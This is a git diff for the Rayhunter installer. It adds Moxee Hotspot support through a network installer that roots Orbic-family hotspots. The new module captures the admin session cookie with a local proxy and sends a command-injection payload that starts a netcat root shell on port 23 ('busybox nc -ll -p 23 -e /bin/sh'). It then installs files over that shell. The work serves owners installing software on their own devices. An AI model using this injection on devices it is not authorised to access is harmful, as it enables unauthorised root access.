diff --git a/doc/SUMMARY.md b/doc/SUMMARY.md index b62d88d..a8b4264 100644 --- a/doc/SUMMARY.md +++ b/doc/SUMMARY.md @@ -19,5 +19,6 @@ - [UZ801](./uz801.md) - [Wingtech CT2MHS01](./wingtech-ct2mhs01.md) - [PinePhone and PinePhone Pro](./pinephone.md) + - [Moxee Hotspot](./moxee.md) - [Support, feedback, and community](./support-feedback-community.md) - [Frequently Asked Questions](./faq.md) diff --git a/doc/moxee.md b/doc/moxee.md new file mode 100644 index 0000000..fb09c88 --- /dev/null +++ b/doc/moxee.md @@ -0,0 +1,23 @@ +# Moxee Hotspot + +Supported in Rayhunter since version 0.6.0. + +The [Moxee Hotspot](https://www.moxee.com/hotspot) is a device very similar to +the Orbic RC400L. It seems to be primarily for the US market. + +## Installation + +Connect to the hotspot's network using WiFi or USB tethering and run: + +```sh +./installer orbic-network +``` + +The installation will ask you to log into the admin UI using a custom URL. The +password for that is under the battery. + +## Obtaining a shell + +```sh +./installer util orbic-start-telnet +``` diff --git a/doc/supported-devices.md b/doc/supported-devices.md index b41f034..f5cf6d0 100644 --- a/doc/supported-devices.md +++ b/doc/supported-devices.md @@ -25,6 +25,7 @@ Rayhunter is confirmed to work on these devices. | [TP-Link M7310](./tplink-m7310.md) | Africa, Europe, Middle East | | [PinePhone and PinePhone Pro](./pinephone.md) | Global | | [FY UZ801](./uz801.md) | Asia, Europe | +| [Moxee hotspot](./moxee.md) | Americas | ## Adding new devices Rayhunter was built and tested primarily on the Orbic RC400L mobile hotspot, but the community has been working hard at adding support for other devices. Theoretically, if a device runs a Qualcomm modem and exposes a `/dev/diag` interface, Rayhunter may work on it. diff --git a/installer/src/main.rs b/installer/src/main.rs index 5095d02..9e9637e 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -3,6 +3,7 @@ use clap::{Parser, Subcommand}; use env_logger::Env; mod orbic; +mod orbic_network; mod pinephone; mod tmobile; mod tplink; @@ -26,6 +27,10 @@ struct Args { enum Command { /// Install rayhunter on the Orbic Orbic RC400L. Orbic(InstallOrbic), + /// Install rayhunter on the Orbic RC400L or Moxee Hotspot via network. + /// + /// This is an experimental installer for Orbic that does not require USB drivers on Windows. + OrbicNetwork(OrbicNetworkArgs), /// Install rayhunter on the TMobile TMOHS1. Tmobile(TmobileArgs), /// Install rayhunter on the Uz801. @@ -66,6 +71,13 @@ struct InstallTpLink { #[derive(Parser, Debug)] struct InstallOrbic {} +#[derive(Parser, Debug)] +struct OrbicNetworkArgs { + /// IP address for Orbic admin interface, if custom. + #[arg(long, default_value = "192.168.1.1")] + admin_ip: String, +} + #[derive(Parser, Debug)] struct InstallPinephone {} @@ -97,6 +109,8 @@ enum UtilSubCommand { PinephoneStartAdb, /// Lock the Pinephone's modem and stop adb. PinephoneStopAdb, + /// Root the Orbic and launch telnetd. + OrbicStartTelnet(OrbicNetworkArgs), /// Send a file to the TP-Link device over telnet. /// /// Before running this utility, you need to make telnet accessible with `installer util @@ -185,6 +199,7 @@ async fn run() -> Result<(), Error> { Command::Pinephone(_) => pinephone::install().await .context("Failed to install rayhunter on the Pinephone's Quectel modem")?, Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?, + Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?, Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?, Command::Util(subcommand) => match subcommand.command { UtilSubCommand::Serial(serial_cmd) => { @@ -222,6 +237,7 @@ async fn run() -> Result<(), Error> { UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?, UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?, UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?, + UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip).await.context("\\nFailed to start telnet on the Orbic RC400L")?, } } diff --git a/installer/src/orbic_network.rs b/installer/src/orbic_network.rs new file mode 100644 index 0000000..c7335ec --- /dev/null +++ b/installer/src/orbic_network.rs @@ -0,0 +1,244 @@ +use std::io::Write; +use std::net::SocketAddr; +use std::str::FromStr; +use std::time::Duration; + +use anyhow::{Context, Result, bail}; +use axum::{ + Router, + body::Body, + extract::{Request, State}, + http::uri::Uri, + response::{IntoResponse, Response}, + routing::any, +}; +use hyper::StatusCode; +use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor}; +use reqwest::Client; +use serde::Deserialize; +use tokio::sync::mpsc; +use tokio::time::sleep; + +use crate::util::{echo, telnet_send_command, telnet_send_file}; +use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT}; + +#[derive(Deserialize, Debug)] +struct ExploitResponse { + retcode: u32, +} + +pub async fn start_telnet(admin_ip: &str) -> Result<()> { + println!("Waiting for login and trying exploit... "); + login_and_exploit(admin_ip).await?; + println!("... done"); + + Ok(()) +} + +pub async fn install(admin_ip: String) -> Result<()> { + start_telnet(&admin_ip).await?; + + echo!("Waiting for telnet to become available... "); + wait_for_telnet(&admin_ip).await?; + println!("done"); + + setup_rayhunter(&admin_ip).await +} + +type HttpProxyClient = hyper_util::client::legacy::Client; + +#[derive(Clone)] +struct ProxyState { + client: HttpProxyClient, + admin_ip: String, + session_sender: mpsc::Sender, +} + +async fn proxy_handler(state: State, mut req: Request) -> Result { + // Check for existing session cookie in request + if let Some(cookie_header) = req.headers().get("cookie") + && let Ok(cookie_str) = cookie_header.to_str() + && cookie_str.contains("-goahead-session-") + { + let _ = state.session_sender.send(cookie_str.to_owned()).await; + } + + let path_query = req + .uri() + .path_and_query() + .map(|v| v.as_str()) + .unwrap_or("/"); + let uri = format!("http://{}{}", state.admin_ip, path_query); + *req.uri_mut() = Uri::try_from(uri).unwrap(); + + let response = state + .client + .request(req) + .await + .map_err(|_| StatusCode::BAD_REQUEST)?; + Ok(response.into_response()) +} + +async fn login_and_exploit(admin_ip: &str) -> Result<()> { + let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new()) + .build(HttpConnector::new()); + let (tx, mut rx) = mpsc::channel(100); + + let app = Router::new() + .route("/", any(proxy_handler)) + .route("/{*path}", any(proxy_handler)) + .with_state(ProxyState { + client, + admin_ip: admin_ip.to_owned(), + session_sender: tx, + }); + + let listener = tokio::net::TcpListener::bind("127.0.0.1:4000") + .await + .context("Failed to bind to port 4000")?; + + println!( + "Please open http://127.0.0.1:4000 in your browser and log into the device to continue." + ); + println!("Username: admin"); + println!( + "Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery." + ); + + let handle = tokio::spawn(async move { axum::serve(listener, app).await }); + let exploit_client = Client::new(); + + let mut last_error = None; + + while let Some(cookie_header) = rx.recv().await { + match try_exploit(&exploit_client, admin_ip, &cookie_header).await { + Ok(_) => { + handle.abort(); + return Ok(()); + } + Err(e) => last_error = Some(e), + } + } + + handle.abort(); + bail!("Failed to receive session cookie, last error: {last_error:?}") +} + +async fn try_exploit(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> { + let response: ExploitResponse = client + .post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip)) + .header("Content-Type", "application/json") + .header("Cookie", cookie_header) + // Original Orbic lacks telnetd (unlike other devices) + // When doing this, one needs to set prompt=None in the telnet utility functions + .body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#) + .send() + .await? + .json() + .await?; + + if response.retcode != 0 { + bail!("unexpected response: {:?}", response); + } + + Ok(()) +} + +async fn wait_for_telnet(admin_ip: &str) -> Result<()> { + let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?; + + while telnet_send_command(addr, "true", "exit code 0", false) + .await + .is_err() + { + sleep(Duration::from_secs(1)).await; + } + + Ok(()) +} + +async fn setup_rayhunter(admin_ip: &str) -> Result<()> { + let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?; + let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON")); + + // Remount filesystem as read-write to allow modifications + // This is really only necessary for the Moxee Hotspot + if telnet_send_command(addr, "mount -o remount,rw /dev/ubi0_0 /", "", false) + .await + .is_err() + { + telnet_send_command(addr, "mount -o remount,rw /", "", false) + .await + .context("Failed to remount filesystem as read-write")?; + } + + telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", false).await?; + + telnet_send_file( + addr, + "/data/rayhunter/rayhunter-daemon", + rayhunter_daemon_bin, + false, + ) + .await?; + + telnet_send_file( + addr, + "/data/rayhunter/config.toml", + CONFIG_TOML + .replace(r#"#device = "orbic""#, r#"device = "orbic""#) + .as_bytes(), + false, + ) + .await?; + + telnet_send_file( + addr, + "/etc/init.d/rayhunter_daemon", + RAYHUNTER_DAEMON_INIT.as_bytes(), + false, + ) + .await?; + + telnet_send_file( + addr, + "/etc/init.d/misc-daemon", + include_bytes!("../../dist/scripts/misc-daemon"), + false, + ) + .await?; + + telnet_send_command( + addr, + "chmod +x /data/rayhunter/rayhunter-daemon", + "exit code 0", + false, + ) + .await?; + telnet_send_command( + addr, + "chmod 755 /etc/init.d/rayhunter_daemon", + "exit code 0", + false, + ) + .await?; + telnet_send_command( + addr, + "chmod 755 /etc/init.d/misc-daemon", + "exit code 0", + false, + ) + .await?; + + println!("Installation complete. Rebooting device..."); + telnet_send_command(addr, "shutdown -r -t 1 now", "", false) + .await + .ok(); + + println!( + "Device is rebooting. After it's started up again, check out the web interface at http://{}:8080", + admin_ip + ); + + Ok(()) +} diff --git a/installer/src/tmobile.rs b/installer/src/tmobile.rs index 61701b8..0fd47da 100644 --- a/installer/src/tmobile.rs +++ b/installer/src/tmobile.rs @@ -33,10 +33,10 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> { echo!("Connecting via telnet to {admin_ip} ... "); let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); - telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?; + telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?; println!("ok"); - telnet_send_command(addr, "mount -o remount,rw /", "exit code 0").await?; + telnet_send_command(addr, "mount -o remount,rw /", "exit code 0", true).await?; telnet_send_file( addr, @@ -44,6 +44,7 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> { crate::CONFIG_TOML .replace("#device = \"orbic\"", "device = \"tmobile\"") .as_bytes(), + true, ) .await?; @@ -52,36 +53,47 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> { addr, "/data/rayhunter/rayhunter-daemon", rayhunter_daemon_bin, + true, ) .await?; telnet_send_command( addr, "chmod 755 /data/rayhunter/rayhunter-daemon", "exit code 0", + true, ) .await?; telnet_send_file( addr, "/etc/init.d/misc-daemon", include_bytes!("../../dist/scripts/misc-daemon"), + true, + ) + .await?; + telnet_send_command( + addr, + "chmod 755 /etc/init.d/misc-daemon", + "exit code 0", + true, ) .await?; - telnet_send_command(addr, "chmod 755 /etc/init.d/misc-daemon", "exit code 0").await?; telnet_send_file( addr, "/etc/init.d/rayhunter_daemon", crate::RAYHUNTER_DAEMON_INIT.as_bytes(), + true, ) .await?; telnet_send_command( addr, "chmod 755 /etc/init.d/rayhunter_daemon", "exit code 0", + true, ) .await?; println!("Rebooting device and waiting 30 seconds for it to start up."); - telnet_send_command(addr, "reboot", "exit code 0").await?; + telnet_send_command(addr, "reboot", "exit code 0", true).await?; sleep(Duration::from_secs(30)).await; echo!("Testing rayhunter ... "); diff --git a/installer/src/tplink.rs b/installer/src/tplink.rs index 4893e1d..52308c4 100644 --- a/installer/src/tplink.rs +++ b/installer/src/tplink.rs @@ -106,13 +106,13 @@ async fn tplink_run_install( if !skip_sdcard { if sdcard_path.is_empty() { - if telnet_send_command(addr, "ls /media/card", "exit code 0") + if telnet_send_command(addr, "ls /media/card", "exit code 0", true) .await .is_ok() { // TP-Link hardware less than v9.0 sdcard_path = "/media/card".to_owned(); - } else if telnet_send_command(addr, "ls /media/sdcard", "exit code 0") + } else if telnet_send_command(addr, "ls /media/sdcard", "exit code 0", true) .await .is_ok() { @@ -130,11 +130,12 @@ async fn tplink_run_install( addr, &format!("mount | grep -q {sdcard_path}"), "exit code 0", + true, ) .await .is_err() { - telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; + telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; } else { println!("sdcard already mounted"); } @@ -142,12 +143,13 @@ async fn tplink_run_install( // there is too little space on the internal flash to store anything, but the initrd script // expects things to be at this location - telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?; - telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?; + telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0", true).await?; + telnet_send_command(addr, "mkdir -p /data", "exit code 0", true).await?; telnet_send_command( addr, &format!("ln -sf {sdcard_path} /data/rayhunter"), "exit code 0", + true, ) .await?; @@ -157,6 +159,7 @@ async fn tplink_run_install( crate::CONFIG_TOML .replace("#device = \"orbic\"", "device = \"tplink\"") .as_bytes(), + true, ) .await?; @@ -166,6 +169,7 @@ async fn tplink_run_install( addr, &format!("{sdcard_path}/rayhunter-daemon"), rayhunter_daemon_bin, + true, ) .await?; @@ -173,6 +177,7 @@ async fn tplink_run_install( addr, "/etc/init.d/rayhunter_daemon", get_rayhunter_daemon(&sdcard_path).as_bytes(), + true, ) .await?; @@ -180,12 +185,14 @@ async fn tplink_run_install( addr, &format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"), "exit code 0", + true, ) .await?; telnet_send_command( addr, "chmod 755 /etc/init.d/rayhunter_daemon", "exit code 0", + true, ) .await?; @@ -193,14 +200,20 @@ async fn tplink_run_install( // startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it // is unreliable on other hardware revisions too. if is_v3 { - telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?; + telnet_send_command( + addr, + "update-rc.d rayhunter_daemon defaults", + "exit code 0", + true, + ) + .await?; } println!( "Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080" ); - telnet_send_command(addr, "reboot", "exit code 0").await?; + telnet_send_command(addr, "reboot", "exit code 0", true).await?; Ok(()) } @@ -278,7 +291,7 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> { let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); - while telnet_send_command(addr, "true", "exit code 0") + while telnet_send_command(addr, "true", "exit code 0", true) .await .is_err() { diff --git a/installer/src/util.rs b/installer/src/util.rs index fb5a50d..cc416c9 100644 --- a/installer/src/util.rs +++ b/installer/src/util.rs @@ -22,22 +22,32 @@ pub async fn telnet_send_command( addr: SocketAddr, command: &str, expected_output: &str, + wait_for_prompt: bool, ) -> Result<()> { let stream = TcpStream::connect(addr).await?; let (mut reader, mut writer) = stream.into_split(); - loop { - let mut next_byte = 0; - reader - .read_exact(std::slice::from_mut(&mut next_byte)) - .await?; - if next_byte == b'#' { - break; + + if wait_for_prompt { + // Wait for initial '#' prompt from telnetd + loop { + let mut next_byte = 0; + reader + .read_exact(std::slice::from_mut(&mut next_byte)) + .await?; + if next_byte == b'#' { + break; + } } } + writer.write_all(command.as_bytes()).await?; - writer.write_all(b"; echo exit code $?\r\n").await?; + // by quoting the 'exit' here, we ensure that we do not read our own command line back as + // "output" before we even hit enter, but the actual result of executing the echo. + writer + .write_all(b"; echo command done, 'exit' code $?\r\n") + .await?; let mut read_buf = Vec::new(); - let _ = timeout(Duration::from_secs(5), async { + let _ = timeout(Duration::from_secs(10), async { let mut buf = [0; 4096]; loop { let Ok(bytes_read) = reader.read(&mut buf).await else { @@ -48,7 +58,12 @@ pub async fn telnet_send_command( continue; } read_buf.extend(bytes); - if read_buf.ends_with(b"/ # ") { + + // when we see this string we know the command is done and can terminate. + // even if we sent command; exit, certain "telnet-like" shells (like nc contraptions) + // may not terminate the connection appropriately on their own. + let response = String::from_utf8_lossy(&read_buf); + if response.contains("command done, exit code ") { break; } } @@ -61,12 +76,23 @@ pub async fn telnet_send_command( Ok(()) } -pub async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<()> { +pub async fn telnet_send_file( + addr: SocketAddr, + filename: &str, + payload: &[u8], + wait_for_prompt: bool, +) -> Result<()> { echo!("Sending file {filename} ... "); { let filename = filename.to_owned(); let handle = tokio::spawn(async move { - telnet_send_command(addr, &format!("nc -l -p 8081 >{filename}.tmp"), "").await + telnet_send_command( + addr, + &format!("nc -l -p 8081 >{filename}.tmp"), + "", + wait_for_prompt, + ) + .await }); sleep(Duration::from_millis(100)).await; let mut addr = addr; @@ -85,12 +111,14 @@ pub async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) addr, &format!("md5sum {filename}.tmp"), &format!("{checksum:x} {filename}.tmp"), + wait_for_prompt, ) .await?; telnet_send_command( addr, &format!("mv {filename}.tmp {filename}"), "exit code 0", + wait_for_prompt, ) .await?; println!("ok"); @@ -105,7 +133,7 @@ pub async fn send_file(admin_ip: &str, local_path: &str, remote_path: &str) -> R let addr = SocketAddr::from_str(&format!("{admin_ip}:23")) .with_context(|| format!("Invalid IP address: {admin_ip}"))?; - telnet_send_file(addr, remote_path, &file_content) + telnet_send_file(addr, remote_path, &file_content, true) .await .with_context(|| format!("Failed to send file {local_path} to {remote_path}"))?; diff --git a/installer/src/wingtech.rs b/installer/src/wingtech.rs index 8e5b947..f341144 100644 --- a/installer/src/wingtech.rs +++ b/installer/src/wingtech.rs @@ -95,7 +95,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul echo!("Connecting via telnet to {admin_ip} ... "); let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); - telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?; + telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?; println!("ok"); telnet_send_file( @@ -104,6 +104,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul crate::CONFIG_TOML .replace("#device = \"orbic\"", "device = \"wingtech\"") .as_bytes(), + true, ) .await?; @@ -112,30 +113,40 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul addr, "/data/rayhunter/rayhunter-daemon", rayhunter_daemon_bin, + true, ) .await?; telnet_send_command( addr, "chmod 755 /data/rayhunter/rayhunter-daemon", "exit code 0", + true, ) .await?; telnet_send_file( addr, "/etc/init.d/rayhunter_daemon", crate::RAYHUNTER_DAEMON_INIT.as_bytes(), + true, ) .await?; telnet_send_command( addr, "chmod 755 /etc/init.d/rayhunter_daemon", "exit code 0", + true, + ) + .await?; + telnet_send_command( + addr, + "update-rc.d rayhunter_daemon defaults", + "exit code 0", + true, ) .await?; - telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?; println!("Rebooting device and waiting 30 seconds for it to start up."); - telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0").await?; + telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?; sleep(Duration::from_secs(30)).await; echo!("Testing rayhunter ... ");